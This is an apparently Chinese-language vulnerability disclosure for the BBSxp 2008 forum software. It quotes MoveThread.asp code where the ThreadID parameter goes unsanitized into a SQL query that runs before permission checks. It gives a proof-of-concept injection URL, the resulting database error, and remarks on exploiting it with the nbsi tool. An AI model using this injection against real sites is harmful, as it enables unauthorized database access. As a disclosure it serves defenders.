BBSxp 2008 (Build: 8.0.4) Sql Injection Vulnerability

============================================
首发http://www.nspcn.org，转载请保留此处版权
============================================
漏洞发布:Tr4c3[at]126[dot]Com
影响版本 BBSxp 2008 (Build: 8.0.4)其他版本未看
漏洞文件:MoveThread.asp
MoveThread.asp行2-24

 

<%
if CookieUserName=empty then error("您还未<a href=""javascript:BBSXP_Modal.Open('Login.asp',380,170);"">登录</a>论坛") '保存cookie登陆即可

ThreadID=Request("ThreadID") ' Sql Injection Vulnerability

If Not IsNumeric(ThreadID) then
  ThreadIDArray=Split(ThreadID,",") '判断数组,避免13行出错
  if IsArray(ThreadIDArray) then
    for i=0 to Ubound(ThreadIDArray)
      if Execute("Select ThreadID from ["&TablePrefix&"Threads] where ThreadID="&ThreadIDArray(i)&"").eof then error"<li>系统不存在该帖子的资料"
    next
    ThreadIDSql=int(ThreadIDArray(0))
  else
    error("参数错误。")
  end if
Else
  ThreadIDSql=int(ThreadID)
End If


ForumID=Execute("Select ForumID From ["&TablePrefix&"Threads] where ThreadID="&ThreadIDSql&"")(0)
%>
<!-- #include file="Utility/ForumPermissions.asp" -->

先执行了查询后判断了权限，导致普通用户即可进行sql注射。
构造Url：http://www.target.com/movethread.asp?ThreadID=1,1'
提交，返回出错信息

Microsoft JET Database Engine 错误 '80040e14' 

字符串的语法错误 在查询表达式 'ThreadID=1'' 中。 

/BBSXP_Class.asp，行 5 

SQL 版本比较好利用，access的nbsi貌似只能猜解出表和字段，字段值无法猜解，需要手工进行。

欢迎大家到群[BK瞬间群]指点.